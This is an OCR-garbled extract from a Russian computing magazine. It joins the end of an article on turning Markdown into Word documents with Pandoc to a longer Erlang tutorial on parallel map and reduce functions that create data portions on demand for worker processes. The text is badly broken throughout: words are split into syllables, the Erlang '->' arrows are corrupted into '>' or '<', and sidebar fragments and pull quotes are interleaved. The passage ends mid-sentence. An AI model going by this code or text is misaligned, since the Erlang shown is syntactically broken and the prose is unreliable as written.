ло ги ку в этом фай ле Makefile. Сна ча ла мы оп ре де ля ем несколь
ко пе ре мен ных, на при мер, с рас по ло жением таб ли цы сти лей 
XSL и фай ла styles�xml на ше го фай ла шаб ло на ODT, ко то рым 
мы долж ны поль зо вать ся. Мы оп ре де ля ем две це ли: test, ко то
рая соз да ет фай лы ODT для всех фай лов Markdown в этом ка та
ло ге, и all, ко то рая соз да ет все фай лы DOC. Файл ODT соз да ет ся 
по фай лу Markdown, сле дуя про це ду ре, опи сан ной в этой ста тье: 
Pandoc соз да ет файл ODT, соз да ет ся вре мен ный ка та лог, со дер
жи мое фай ла ODT рас па ко вы ва ет ся в этот ка та лог, к фай лу con-
tent�xml при ме ня ет ся таб ли ца сти лей XSLT и ре зуль тат со хра ня
ет ся в фай ле content�xml. Файл styles�xml, соз дан ный Pandoc, 
за ме ня ет ся на наш styles�xml, и со дер жи мое вре мен но го ка та ло га 
упа ко вы ва ет ся. Пре об ра зо вание из ODT в DOC про ще: про сто за
пусти те unoconv. По мес тив этот файл Makefile в ка та лог с фай ла
ми Markdown, мож но на брать make all, и тек сто вые фай лы бу дут 

пре об ра зо ва ны в фай лы Word 
с за дан ной раз мет кой.

Pandoc рас ши ря ет син
так сис Markdown мас сой до
полнитель ных воз мож но
стей – таб ли цами, кар тин ка ми 
с под пи ся ми, спи ска ми оп ре

де лений, ну ме ро ван ны ми спи ска ми при ме ров, верхними и ниж
ними ин дек са ми, сно ска ми и т. д. За гляните в файл README 
Pandoc, что бы уз нать под роб но сти о син так си се, а так же неко то
рые ин те рес ные па ра мет ры ко ман ды pandoc.

Луч шее из двух ми ров
С опи сан ным под хо дом для соз дания тек сто вых до ку мен
тов вы по лу чи те луч шее из двух ми ров. Вы мо же те пи сать тек
сты в лю би мом тек сто вом ре дак то ре, но ва ши кор рес пон ден ты 
и не по ду ма ют, что вы поль зуе тесь эти ми стран ны ми тек сто вы ми 
фай ла ми без раз мет ки. И вы смо же те про дол жать по та кать сво
им на вы кам эф фек тив ной ра бо ты в Linux, на при мер, ис кать сло
ва с по мо щью grep или поль зо вать ся сис те ма ми управ ления вер
сия ми. А ва ши кор рес пон ден ты бу дут ду мать, что вы поль зуе тесь 
Microsoft Word, и все бу дут сча ст ли вы... |

> В этой ста тье мы лишь не мно го кос ну лись воз мож но стей Pandoc� Пре ж де чем 
внедрять их в жизнь, про чти те ру ко во дство поль зо ва те ля от на ча ла до кон ца!

«С опи сан ным под хо-
дом вы по лу чи те луч-
шее из двух ми ров.»
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я ви ли, что всю об щую функ цио наль ность (на осно ве ко то рой 
мы смо жем реа ли зо вать мно го за дач ные вер сии функ ций map 
и reduce) мы по ме ща ем в мо дуль parallel_smartmsg_helper. Во-
вто рых, мы вве ли ряд оп ре де лений за пи сей для то го, что бы сде-
лать наш код бо лее по нят ным:
-record(tasks_descr, {created = 0, processed = 0, rest = []}).
-record(task_request, {master, index, portion}).
-record(task_result, {worker, index, result}).

Здесь запись task_descr оп ре де ле на для хранения дан ных 
о про цес се об ра бот ки ис ход но го спи ска, запись task_request 
пред став ля ет за прос на об ра бот ку оче ред ной пор ции дан ных (со-
об щение, ко то рое по лу ча ет ра бо чий про цесс от глав но го про цес-
са), а запись task_result пред став ля ет ре зуль тат об ра бот ки оче-
ред ной пор ции дан ных ра бо чим про цес сом (со об щение, ко то рое 
ра бо чий про цесс по сы ла ет глав но му про цес су). Сле ду ет за ме-
тить, что мы не по ме ща ем эти оп ре де ления за пи сей в от дель ный 
за го ло воч ный файл (с рас ши рением .hrl), т. к. эти оп ре де ления 
ис поль зу ют ся толь ко внут ри мо ду ля parallel_smartmsg_helper. 
И, на конец, мы оп ре де ли ли функ цию, ко то рую вы пол ня ет ра бо-
чий про цесс во вре мя сво ей жизни. Это экс пор ти руе мая функ ция 
parallel_smartmsg_helper: smartmsg_worker/1:
smartmsg_worker(Fun) ->
   receive
      #task_request{master=MasterPid, index=Index, 
portion=SourcePortion} ->
         Dest = Fun(SourcePortion),
         MasterPid ! #task_result{worker=self(), index=Index, 
result=Dest},
         smartmsg_worker(Fun);
      _Other -> smartmsg_worker(Fun)
   end.

Как мы уже го во ри ли, для ра бо че го про цес са ло ги ка ра бо ты 
аб со лют но не за ви сит от то го, сра зу ли все за дания на об ра бот ку 
пор ций дан ных он по лу чит или же по сте пен но, в от вет на ре зуль-
тат об ра бот ки неко то рой пор ции дан ных. По это му эта функ ция 
ничем не от ли ча ет ся от ана ло гич ных функ ций, ко то рые вы пол-
ня ют ра бо чие про цес сы бо лее ранних при ме ров, за ис клю чением 
то го, что здесь для ра бо ты с со об щения ми мы ис поль зу ем оп ре-
де лен ные ранее за пи си. Эта функ ция яв ля ет ся экс пор ти руе мой – 
по при чине то го, что за соз дание ра бо чих про цес сов у нас от-
вет ст венен внешний код.

По сле по вто рения мы мо жем сме ло ид ти даль ше. Для на ча ла 
да вай те соз да дим па ру вспо мо га тель ных функ ций, ко то рые бу-
дут ин кап су ли ро вать та кие опе ра ции, как соз дание и на зна чение 
но вой за да чи ра бо че му про цес су и со хранение ре зуль та та об ра-
бот ки пор ции в про ме жу точ ном хранили ще. Начнем со вспо мо га-
тель ной функ ции, ко то рая со хра ня ет ре зуль тат об ра бот ки пор ции 
в про ме жу точ ном хранили ще. Как уже го во ри лось в пре ды ду щих 
стать ях, в ка че  ст ве про ме жу точ но го хранили ща мы ис поль зу ем 
мас сив (кол лек цию, доступ к эле мен там ко то рой осу ще ст в ля ет-
ся по ин дек су), а ре зуль тат об ра бот ки пор ции со сто ит из са мо го 
ре зуль та та и его ин дек са (ко то рый сов па да ет с ин дек сом пор ции 
при ее соз дании). По это му функ ция для со хранения ре зуль та тов 

В
 оче ред ной раз займемся прак ти кумом по мно го за дач но-
сти в язы ке Erlang – в ви де ра бо ты над мно го за дач ны ми 
вер сия ми функ ций map и reduce. Се го дня мы про дол жим 

соз да вать вер сии функ ций map и reduce, ко то рые бе реж но от но-
сят ся к ре сур сам ком пь ю те ра: про цес сор но му вре мени, па мя ти, 
се те вой под сис те ме. Это оз на ча ет, что но вые вер сии функ ций map 
и reduce не соз да ют лишних объ ек тов, в ро ли ко то рых вы сту па ли 
пор ции дан ных, и не на гру жа ют се те вую под сис те му од но вре мен-
ной по сыл кой всех этих объ ек тов.

По тра ди ции в спомним, на чем мы оста но ви лись в про шлом но-
ме ре. Мы  го во ри  ли о ре шении (при ня том при по строении на ших 
при ме ров) раз бить все ис ход ные дан ные на пор ции и ра зо слать 
эти пор ции дан ных (ка к за дания по об ра бот ке) ра бо чим про цес сам 
сра зу, а затем толь ко со би рать ре зуль та ты об ра бот ки этих пор-
ций ра бо чи ми про цес са ми. Мы по ка за ли, что это при во дит к рез-
ко му скач ку по треб ляе мой па мя ти и на груз ки на про цес сор и, воз-
мож но, на сеть (ес ли ра бо чие про цес сы вы пол ня ют ся на раз ных 
уз лах). Ведь ес ли мы хо тим раз бить все ис ход ные дан ные на пор-
ции, то необ хо ди мо под эти пор ции дан ных вы де лить па мять, раз-
мер ко то рой чуть боль ше раз ме ра ис ход ных дан ных (т. к. ка ж дая 
пор ция – это кор теж, со стоя щий из са мой пор ции дан ных и ее ин-
дек са), а так же по тра тить неко то рое про цес сор ное вре мя. Далее 
мы все эти дан ные пе ре да ем по се ти на шим ра бо чим про цес сам, 
уве ли чи вая на груз ку на сеть. А при доста точ но боль шом объ е ме 
вход ных дан ных нам про сто мо жет не хва тить раз ме ра ад рес но го 
про стран ст ва (про цес са опе ра ци он ной сис те мы, со дер жащего 
сре ду вы полнения Erlang, наш при мер и дан ные) для то го, что бы 
хранить од но вре мен но как ис ход ные дан ные, так и пор ции дан ных. 

Разберемся, как ре шить эту про бле му. В про шлый раз мы рас-
смот ре ли воз мож ное ее ре шение: «от ре зать» но вую пор цию для 
об ра бот ки ка ко му-ли бо ра бо че му про цес су толь ко по ме ре необ-
хо ди мо сти. Т. е. толь ко по сле то го, как ка кой-ли бо ра бо чий про цесс 
вы полнит свою за да чу (об ра бо та ет пор цию дан ных) и ото шлет ре-
зуль тат об ра бот ки глав но му про цес су, он по лу чит сле дую щее за-
дание (сле дую щую пор цию) для вы полнения. Прав да, за это ре-
шение нам при дет ся  пла тить, т. к. услож ня ет ся взаи мо дей ст вие 
ме ж ду ра бо чи ми про цес са ми и глав ным про цес сом. Если рань ше 
глав ный про цесс раз би вал ис ход ные дан ные на пор ции, рас пре де-
лял эти пор ции (как за дания) ме ж ду ра бо чи ми про цес са ми и ожи-
дал ре зуль та тов об ра бот ки от всех ра бо чих про цес сов, то при но-
вом под хо де необ хо ди мо в глав ном про цес се де лать сле дую щее: 
соз дать и раз дать на чаль ные за дания для ра бо чих про цес сов, по-
том со б рать по лу чен ные ре зуль та ты об ра бот ки и при наличии еще 
не об ра бо тан ных дан ных соз да вать но вую пор цию и от сы лать 
ее на об ра бот ку. С дру гой сто ро ны, для ра бо чих про цес сов ниче-
го не из менилось: мы все так же по лу ча ем за дание на об ра бот ку 
пор ции дан ных, об ра ба ты ва ем эту пор цию, от сы ла ем ре зуль та ты 
об ра бот ки об рат но глав но му про цес су, по сле че го по лу ча ем оче-
ред ное за дание, ес ли оно есть. И аб со лют но не важ но, сра зу ли все 
за дания на об ра бот ку от прав ля ют ся ра бо чим про цес сам или же 
по сте пен но, в от вет на ре зуль тат об ра бот ки пре ды ду ще го за дания.

А те перь да вай те по смот рим на то, что из реа ли за ции дан но го 
под хо да в про шлый раз мы успе ли сде лать. Во-пер вых, мы объ-

Пя тый прак ти кум по мно го за дач но сти Ан д рей Уша ков по свя ща ет сбе ре же нию 
сис тем ных ре сур сов.

Erlang: Поч ти 

Наш 
эксперт

Ан д рей Уша ков 
ак тив но при бли-
жа ет тот день, ко-
гда функ цио наль-
ные язы ки ста нут 
мейн ст ри мом.
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об ра бот ки пор ции долж на в ка че  ст ве вход ных па ра мет ров прини
мать мас сив с ре зуль та та ми об ра бот ки пор ций, сам ре зуль тат об
ра бот ки пор ции и его ин декс, а воз вра щать об нов лен ный мас сив 
с ре зуль та та ми об ра бот ки пор ций (мы помним, что в язы ке Erlang 
мы не из ме ня ем су ще ст вую щий объ ект, а соз да ем но вый). Это 
функ ция collect_result/3, ко то рая оп ре де ле на в мо ду ле parallel_
smartmsg_helper, но не экс пор ти ру ет ся из него:
collect_result(Result, Index, Storage) >
   array:set(Index, Result, Storage).

По сути, она очень про ста – это все го лишь аль тер на ти ва 
(алиа с) для функ ции array:set/3; основ ное ее пред на зна чение – 
сде лать код, ко то рый со хра ня ет ре зуль та ты об ра бот ки пор ции 
в про ме жу точ ное хранили ще, бо лее яс ным и по нят ным.

В ка че  ст ве сле дую ще го ша га мы соз да дим вспо мо га тель ную 
функ цию для на зна чения но во го за дания ра бо че му про цес су. Это 
бу дет функ ция assign_task/4, оп ре де лен ная в мо ду ле parallel_
smartmsg_helper, но не экс пор ти руе мая из него:
assign_task(Worker, SourceList, PortionSize, Index)
when length(SourceList) =< PortionSize >
   Worker ! #task_request{master = self(), index = Index, portion = 
SourceList},
   [];
assign_task(Worker, SourceList, PortionSize, Index) >
   {Portion, Rest} = lists:split(PortionSize, SourceList),
   Worker ! #task_request{master = self(), index = Index, portion = 
Portion},
   Rest.

Вид но, что эта функ ция выглядит слож нее функ ции collect/3. 
В ней нам необ хо ди мо об ра ба ты вать два слу чая (для это го оп ре
де ле но два ва ри ан та функ ции assign_task/4): когда раз мер необ
ра бо тан но го остат ка мень ше или ра вен раз ме ру пор ции дан ных 
и когда раз мер необ ра бо тан но го остат ка боль ше раз ме ра пор ции. 
В пер вом слу чае мы про сто от сы ла ем этот оста ток ра бо че му про
цес су на об ра бот ку и воз вра ща ем пустой спи сок; это оз на ча ет, что 
боль ше нет ис ход ных дан ных для об ра бот ки. Во вто ром слу чае 
мы «от ре за ем» пор цию за дан но го раз ме ра, от сы ла ем эту пор цию 
ра бо че му про цес су, по сле че го воз вра ща ем оста ток по сле «от ре
зания» пор ции об рат но, т. к. он со дер жит не об ра бо тан ные еще 
дан ные. В ка че  ст ве па ра мет ров эта функ ция принима ет иден ти фи
ка тор ра бо че го про цес са, ко то ро му мы со би ра ем ся на зна чить за
дание, оста ток необ ра бо тан ных ис ход ных дан ных, раз мер пор ции 
и ин декс соз да вае мой пор ции дан ных.

А мы мо жем пой ти даль ше. Ес ли рань ше мы «раз би ва ли» ис
ход ные дан ные на пор ции и рас пре де ля ли эти пор ции (в ви де за
даний на об ра бот ку) сре ди ра бо чих про цес сов сра зу, то сей час 
мы «от ре за ем» оче ред ную пор цию и от да ем ее ра бо че му про
цес су толь ко по сле то го, как он при шлет глав но му про цес су ре
зуль та ты об ра бот ки ка койли бо пор ции дан ных. Но для то го, 
что бы та кая схе ма взаи мо дей ст вия глав но го про цес са и ра бо
чих про цес сов ра бо та ла, необ хо ди мо инициа ли зи ро вать ра бо
чие про цес сы. Про цесс инициа ли за ции ра бо чих про цес сов со сто
ит в сле дую щем: для ка ж до го ра бо че го про цес са мы «от ре за ем» 
от ис ход ных дан ных (а точнее, от необ ра бо тан но го остат ка) пор
цию и от прав ля ем эти пор ции на об ра бот ку ра бо чим про цес сам. 
По сле та кой инициа ли за ции мы мо жем ис поль зо вать опи сан ный 
вы ше ме ханизм взаи мо дей ст вия, т. е. ожи дать ре зуль тат об ра бот
ки пор ции от ка ко голи бо ра бо че го про цес са, по сле че го под го

тав ли вать и от сы лать ему оче ред ное за дание (оче ред ную пор
цию ис ход ных дан ных). Дан ный про цесс инициа ли за ции ра бо чих 
про цес сов мы реа ли зу ем при по мо щи функ ции distribute_init_
tasks/3, ко то рая оп ре де ле на в мо ду ле parallel_smartmsg_helper:
distribute_init_tasks(#tasks_descr{created=Created, rest=[]}, _
PortionSize, _WorkerList) >
   #tasks_descr{created = Created, rest = []};
distribute_init_tasks(TasksDescr, _PortionSize, []) > TasksDescr;
distribute_init_tasks(#tasks_descr{created=Created, rest=Source}, 
PortionSize, [Worker|Workers]) >
   Rest = assign_task(Worker, Source, PortionSize, Created),
   TasksDescr = #tasks_descr{created=Created+1, rest=Rest},
   distribute_init_tasks(TasksDescr, PortionSize, Workers).

Эта функ ция на вход принима ет три па ра мет ра: опи са тель про
цес са об ра бот ки ис ход ных дан ных (ко то рый яв ля ет ся эк зем п ля
ром за пи си tasks_descr), раз мер пор ции ис ход ных дан ных и спи
сок иден ти фи ка то ров ра бо чих про цес сов (точнее, оста ток спи ска 
иден ти фи ка то ров ра бо чих про цес сов); воз вра ща ет эта функ ция 
опи са тель про цес са об ра бот ки ис ход ных дан ных по сле инициа
ли за ции ра бо чих про цес сов. В функ ции distribute_init_tasks/3 
мы долж ны об ра ба ты вать три раз ных слу чая (по это му функ ция 
distribute_init_tasks/3 со дер жит три ва ри ан та): когда за кон чи лись 
вход ные дан ные, когда мы инициа ли зи ро ва ли все ра бо чие про
цес сы, и об щий слу чай – когда есть как необ ра бо тан ные вход ные 
дан ные, так и неинициа ли зи ро ван ные ра бо чие про цес сы. Пер вый 
слу чай воз мо жен, ес ли ко ли че  ст во ра бо чих про цес сов боль ше 
или рав но ко ли че  ст ву пор ций (с раз ме ром PortionSize). В пер вом 
и вто ром ва ри ан те функ ции distribute_init_tasks/3 дальней шая 
инициа ли за ция уже невоз мож на, по это му мы воз вра ща ем опи са
тель про цес са об ра бот ки дан ных. В по следнем же ва ри ан те (когда 
есть как вход ные дан ные, так и неинициа ли зи ро ван ные ра бо чие 
про цес сы) мы инициа ли зи ру ем оче ред ной ра бо чий про цесс пор
ци ей (при по мо щи функ ции assign_task/4), по сле че го вы зы ва ем 
ре кур сив но (при по мо щи хво сто вой ре кур сии) ме тод distribute_
init_tasks/3 для остав ших ся ра бо чих про цес сов и вход ных дан
ных. Так же сле ду ет ска зать, что функ ция distribute_init_tasks/3 
не экс пор ти ру ет ся из мо ду ля parallel_smartmsg_helper, т. к. она 
ис поль зу ет ся толь ко внут ри него.

Сле дую щий шаг, ко то рый нам необ хо ди мо реа ли зо вать – это 
взаи мо дей ст вие ме ж ду ра бо чи ми про цес са ми и глав ным про цес
сом. Как мы уже го во ри ли, взаи мо дей ст вие ме ж ду ра бо чи ми про
цес са ми и глав ным про цес сом вы гля дит сле дую щим об ра зом: по
сле инициа ли за ции ра бо чих про цес сов (о чем мы го во ри ли вы ше) 
глав ный про цесс ждет со об щения от лю бо го ра бо че го про цес
са с ре зуль та та ми об ра бот ки на зна чен ной ему пор ции дан ных. 
При по лу чении им та ко го со об щения (эк зем п ля ра за пи си task_
result) глав ный про цесс со хра ня ет ре зуль та ты об ра бот ки в про ме
жу точ ное хранили ще, а его дальней шие дей ст вия за ви сят от то
го, есть на мо мент по лу чения со об щения необ ра бо тан ные дан ные 
или нет. Ес ли на мо мент по лу чения со об щения необ ра бо тан ные 
дан ные еще есть, то глав ный про цесс «от ре за ет» от этих дан ных 
пор цию, от сы ла ет эту пор цию ра бо че му про цес су в ви де за дания 
на об ра бот ку (в ви де эк зем п ля ра за пи си task_request), по сле че
го про дол жа ет ждать со об щения от ра бо чих про цес сов. Ес
ли же на мо мент по лу чения со об щения необ ра бо тан ных дан ных 
не оста лось, то глав ный про цесс про сто про дол жа ет ждать со об
щений от дру гих про цес сов. Это ожи дание за кан чи ва ет ся тогда, 

с оче ре дя ми
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когда при хо дит по следнее со об щение с ре зуль та том об ра бот ки 
ка койли бо пор ции ис ход ных дан ных. Что бы от сле дить это по
следнее со об щение, мы ис поль зу ем опи са тель про цес са об ра бот
ки дан ных. Как мы уже го во ри ли, опи са тель про цес са об ра бот ки 
дан ных (эк зем п ляр за пи си tasks_descr) со дер жит три по ля: ко ли
че  ст во соз дан ных за дач на об ра бот ку, ко ли че  ст во об ра бо тан ных 
за дач и оста ток необ ра бо тан ных ис ход ных дан ных. Оче вид но, что 
по следним бу дет та кое со об щение от од но го из ра бо чих про цес
сов, по сле ко то ро го ко ли че  ст во соз дан ных за дач рав но ко ли че
 ст ву вы полнен ных за дач, а оста ток необ ра бо тан ных ис ход ных 
дан ных пуст. Та ким об ра зом, вид но, что функ ция, ко то рая бу дет 
реа ли зо вы вать это взаи мо дей ст вие, долж на иметь три ва ри ан
та: один ва ри ант – для окон чания взаи мо дей ст вия (и дальней ше
го вы чис ления ито го во го ре зуль та та), дру гой ва ри ант – для си туа
ции, когда необ ра бо тан ные ис ход ные дан ные уже за кон чи лись, 
но неко то рые ра бо чие про цес сы еще вы пол ня ют свои за дания, и, 
на конец, по следний ва ри ант для об ще го слу чая. Это бу дет функ
ция handle_workers/3, ко то рая оп ре де ле на в мо ду ле parallel_
smartmsg_helper, но не экс пор ти ру ет ся из него:
handle_workers(#tasks_descr{created=N, processed=N, rest=[]}, 
Storage, _PortionSize) >
   Storage;
handle_workers(#tasks_descr{created=Created, 
processed=Processed, rest=[]}, Storage, PortionSize) >
   receive
      #task_result{index=Index, result=Dest} >
         UpdatedStorage = collect_result(Dest, Index, Storage),
         TasksDescr = #tasks_descr{created=Created, 
processed=Processed+1, rest=[]},
         handle_workers(TasksDescr, UpdatedStorage, PortionSize);
      _ > handle_workers(#tasks_descr{created=Created, 
processed=Processed, rest=[]}, Storage, PortionSize)
   end;
handle_workers(#tasks_descr{created=Created, 
processed=Processed, rest=Source}, Storage, PortionSize) >
   receive
      #task_result{worker=Worker, index=Index, result=Dest} >
         UpdatedStorage = collect_result(Dest, Index, Storage),
         Rest = assign_task(Worker, Source, PortionSize, Created),
         TasksDescr = #tasks_descr{created=Created+1, 
processed=Processed+1, rest=Rest},
         handle_workers(TasksDescr, UpdatedStorage, PortionSize);
      _ > handle_workers(#tasks_descr{created=Created, 
processed=Processed, rest= Source}, Storage, PortionSize)
   end.

Функ ция handle_workers/3 принима ет три па ра мет ра: опи са
тель про цес са об ра бот ки дан ных (эк зем п ляр за пи си tasks_descr), 
хранили ще про ме жу точ ных дан ных и раз мер пор ции, а воз вра ща
ет (по сле то го, как все ис ход ные дан ные бу дут «раз би ты» на пор
ции, об ра бо та ны ра бо чи ми про цес са ми и со б ра ны) хранили ще 
про ме жу точ ных дан ных с ре зуль та та ми об ра бот ки всех пор ций. 
Сле ду ет об ра тить внимание на то, ка кие со об щения мы об ра ба ты
ва ем в функ ции handle_workers/3. Вопер вых, мы об ра ба ты ва ем 
со об щения от ра бо чих про цес сов с ре зуль та та ми об ра бот ки оче
ред ной пор ции дан ных; эти со об щения яв ля ют ся эк зем п ля ра ми 
за пи си task_result. Вовто рых, мы об ра ба ты ва ем все осталь ные 
ви ды со об щений, не де лая при этом ниче го. Мы это де ла ем для 
то го, что бы оче редь со об щения про цес са не за со ря лась «му сор
ны ми» со об щения ми.

Те перь мы мо жем со брать все вме сте и соз дать точ ку вхо да 
для об щей функ цио наль но сти, на осно ве ко то рой мы по том мо
жем сде лать со от вет ст вую щие вер сии функ ций map и reduce. Это 
бу дет функ ция parallel_smartmsg_helper:smartmsg_core/4, оп ре
де лен ная в мо ду ле parallel_smartmsg_helper и экс пор ти руе мая 
из него:

smartmsg_core(FinalAggrFun, SourceList, PortionSize, 
WorkerList) >
   process_flag(trap_exit, true),
   TasksDescr = distribute_init_tasks(#tasks_
descr{rest=SourceList}, PortionSize, WorkerList),
   PortionCount = parallel_common:calc_portion_
count(length(SourceList), PortionSize),
   EmptyStorage = array:new([{size, PortionCount}, {fixed, true}, 
{default, none}]),
   FullStorage = handle_workers(TasksDescr, EmptyStorage, 
PortionSize),
   process_flag(trap_exit, false),
   FinalAggrFun(array:to_list(FullStorage)).

В этой функ ции мы де ла ем сле дую щее: инициа ли зи ру ем ра бо
чие про цес сы (раз да вая им на чаль ные за дания), инициа ли зи ру ем 
хранили ще про ме жу точ ных дан ных, иниции ру ем об щение с ра бо
чи ми про цес са ми, по сле че го из дан ных, на хо дя щих ся в хранили
ще про ме жу точ ных дан ных, фор ми ру ем ито го вый ре зуль тат. Как 
уже го во ри лось вы ше, об щение с ра бо чи ми про цес са ми за кан чи
ва ет ся тогда, когда все пор ции ис ход ных дан ных об ра бо та ны и ре
зуль та ты их об ра бот ки по лу че ны и со хранены в хранили ще про
ме жу точ ных дан ных. По это му при фор ми ро вании ито го во го 
ре зуль та та из дан ных, на хо дя щих ся в хранили ще про ме жу точ ных 
дан ных, все ре зуль та ты об ра бот ки пор ций в этом хранили ще уже 
при сут ст ву ют (т. е. ров но так же, как и в пре ды ду щих вер си ях, соз
дан ных на ми). Сле ду ет так же за ме тить, что при инициа ли за ции ра
бо чих про цес сов (при вы зо ве функ ции distribute_init_tasks/3) в ка
че  ст ве од но го из па ра мет ров мы пе ре да ем на чаль ное зна чение 
опи са те ля про цес са об ра бот ки дан ных. При фор ми ро вании это го 
на чаль но го зна чения в ка че  ст ве остат ка необ ра бо тан ных ис ход ных 
дан ных мы пе ре да ем са ми эти ис ход ные дан ные (при этом ко ли че
 ст во соз дан ных и вы полнен ных за даний, оче вид но, рав но 0).

И, на конец, мы мо жем соз дать оче ред ные мно го за дач
ные вер сии функ ций map и reduce: это бу дут функ ции parallel_
map:smartmsg_pmap/4 и parallel_reduce:smartmsg_reduce/5, оп ре
де лен ные в мо ду лях parallel_map и parallel_reduce со от вет ст вен но. 
Начнем мы с оче ред ной вер сии мно го за дач ной функ ции map:
smartmsg_pmap(_Fun, [], _PortionSize, _WorkerCount) > [];
smartmsg_pmap(Fun, Source, PortionSize, _WorkerCount)
when length(Source) =< PortionSize >
   lists:map(Fun, Source);
smartmsg_pmap(Fun, Source, PortionSize, WorkerCount) >
   WorkerFun = fun(Portion) > lists:map(Fun, Portion) end,
   Workers = [spawn_link(fun() > parallel_smartmsg_
helper:smartmsg_worker(WorkerFun) end) || _Index < lists:seq(1, 
WorkerCount)],
   Result = parallel_smartmsg_helper:smartmsg_core(fun 
lists:append/1, Source, PortionSize, Workers),
   lists:foldl(fun(Worker, _Aggr) > exit(Worker, normal) end, true, 
Workers),
   Result.

Лег ко уви деть, что ниче го осо бо не по ме ня лось по сравнению 
с пре ды ду щей вер си ей мно го за дач ной функ ции map, кроме одно
го: мы ис поль зу ем функ цию parallel_smartmsg_helper:smartmsg_
core/4 в ка че  ст ве точ ки вхо да в об щую функ цио наль ность. Те перь 
рас смот рим оче ред ную мно го за дач ную вер сию функ ции reduce:
smartmsg_reduce(_Fun, [], {Init, _PortionInit}, _PortionSize, _
WorkerCount) > Init;
smartmsg_reduce(Fun, Source, {Init, _PortionInit}, PortionSize, 
_WorkerCount)
when length(Source) =< PortionSize >
   lists:foldl(Fun, Init, Source);
smartmsg_reduce(Fun, Source, {Init, PortionInit}, PortionSize, 
WorkerCount) >
   ReduceFun = fun(List) > lists:foldl(Fun, Init, List) end,
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   PortionReduceFun = fun(List) > lists:foldl(Fun, PortionInit, List) 
end,
   Workers = [spawn_link(fun() > parallel_smartmsg_
helper:smartmsg_worker(PortionReduceFun) end) || _Index < 
lists:seq(1, WorkerCount)],
   Result = parallel_smartmsg_helper:smartmsg_core(ReduceFun, 
Source, PortionSize, Workers),
   lists:foldl(fun(Worker, _Aggr) > exit(Worker, normal) end, true, 
Workers),
   Result.

И в этом слу чае ниче го не по ме ня лось по сравнению с пре ды
ду щей вер си ей, кроме точ ки вхо да в об щую функ цио наль ность.

Да вай те про ве рим, что оче ред ные мно го за дач ные вер сии 
функ ций map и reduce ра бо та ют пра виль но. Для это го мы ком
пи ли ру ем со от вет ст вую щие мо ду ли и за пуска ем кон соль сре ды 
вы полнения язы ка Erlang. Начнем с про вер ки ра бо ты функ ции 
parallel_map:smartmsg_pmap/4. Вы зов parallel_map:smartmsg_
pmap(fun(Item)->lists:reverse(Item) end, [], 2, 2) воз вра ща
ет пустой спи сок. Этим про ве ря ет ся пер вый ва ри ант функ ции 
parallel_map:smartmsg_pmap/4. Вы зов parallel_map:smartmsg_
pmap(fun(Item)->lists:reverse(Item) end, [“ab”, “cd”], 4, 2) воз
вра ща ет спи сок [«ba”, “dc”]. Так как раз мер пор ции 4, а спи сок 
с дан ны ми со дер жит все го 2 эле мен та, то мы про ве ря ем вто рой 
ва ри ант функ ции parallel_map:smartmsg_pmap/4. На конец, вы
зов parallel_map:smartmsg_pmap(fun(Item)->lists:reverse(Item) 
end, [“ab”, “cd”, “ef”, “gh”], 2, 2) воз вра ща ет спи сок [«ba”, “dc”, 
“fe”, “hg”]. Так как раз мер пор ции 2, а спи сок с дан ны ми со
дер жит 4 эле мен та, то мы про ве ря ем об щий ва ри ант функ ции 

parallel_map:smartmsg_pmap/4. При этом бу дет соз да но 2 ра бо чих 
про цес са, и оба эти про цес са бу дут за гру же ны, т. к. спи сок с дан
ны ми раз би ва ет ся на 2 пор ции дан ных. Те перь пе рей дем к про
вер ке ра бо ты функ ции parallel_reduce:smartmsg_reduce/5. Вы
зов parallel_reduce:smartmsg_reduce(fun(Item, Agg)->Agg ++ Item 
end, [], {“++”, “”}, 2, 2) воз вра ща ет стро ку “++”. Этот вы зов про
ве ря ет пер вый ва ри ант функ ции parallel_reduce:smartmsg_
reduce/5. Вы зов parallel_reduce:smartmsg_reduce(fun(Item, 
Agg)->Agg ++ Item end, [“aa”, “bb”], {“++”, “”}, 4, 2) воз вра ща
ет стро ку “++aabb”. Так как раз мер пор ции 4, а спи сок с дан ны
ми со дер жит все го 2 эле мен та, то мы про ве ря ем вто рой ва
ри ант функ ции parallel_reduce:smartmsg_reduce/5. На конец, 
вы зов parallel_reduce:smartmsg_reduce(fun(Item, Agg)->Agg ++ 
Item end, [“aa”, “bb”, “cc”, “dd”], {“++”, “”}, 2, 2) воз вра ща ет стро
ку «++aabbccdd». Так как раз мер пор ции 2, а спи сок с дан ны ми 
со дер жит 4 эле мен та, то мы про ве ря ем об щий ва ри ант функ ции 
parallel_reduce:smartmsg_reduce/5. При этом бу дет соз да но 2 ра
бо чих про цес са, и оба эти про цес са бу дут за гру же ны, т. к. спи сок 
с дан ны ми раз би ва ет ся на 2 пор ции дан ных.

Итак, мы соз да ли поч ти оче ред ные мно го за дач ные вер сии 
функ ций map и reduce. Мо жет по ка зать ся, что их уже неку да улуч
шать и по ра оста но вить ся. Од на ко мы всета ки мо жем сде лать 
сле дую щее: от ка зать ся от руч но го рас пре де ления за даний на об
ра бот ку (мы рас пре де ля ем за дания так, что бы ка ж дый ра бо чий 
про цесс был за гру жен). Тогда мы пе ре ло жим эту за да чу на неко
то рый пул про цес сов (а точнее, уз лов), ко то рый бы и рас пре де
лял за дания на об ра бот ку ме ж ду про цес са ми по заданным кри те
риям. Чем мы и зай мем ся в следующий раз. |

В дан ной ста тье при реа ли за ции оче ред ных мно
го за дач ных вер сий функ ций map и reduce мы при
менили под ход, при ко то ром пор ции соз да ют ся 
по тре бо ванию, т. е. толь ко в от вет на ре зуль тат 
об ра бот ки неко то рой пре ды ду щей пор ции дан
ных. При этом нам необ хо ди мо инициа ли зи ро вать 
ра бо чие про цес сы, что бы дан ный под ход ра бо тал. 
Для это го мы соз да ем и от сы ла ем ка ж до му ра бо
че му про цес су пор цию дан ных, по сле че го все 
осталь ные пор ции дан ных соз да ют ся по тре бо
ванию. Этот ал го ритм инициа ли за ции мы реа ли
зо ва ли в функ ции distribute_init_tasks/3, ко то рая 
оп ре де ле на в мо ду ле parallel_smartmsg_helper 
(эта функ ция ис поль зу ет ся толь ко внут ри мо ду ля 
parallel_smartmsg_helper, по это му мы не экс
пор ти ру ем ее). Оче вид но, что при та ком под хо де 
мы соз да ем как в функ ции distribute_init_tasks/3 
(при инициа ли за ции ра бо чих про цес сов), так 
и в функ ции handle_workers/3 (при взаи мо дей ст вии 
ме ж ду ра бо чи ми про цес са ми и глав ным про цес
сом) пор ции дан ных, ко то рые оп ре де ле ны в мо ду ле 
parallel_smartmsg_helper. 

Ес ли же мы хо тим ло ка ли зо вать соз дание пор ций 
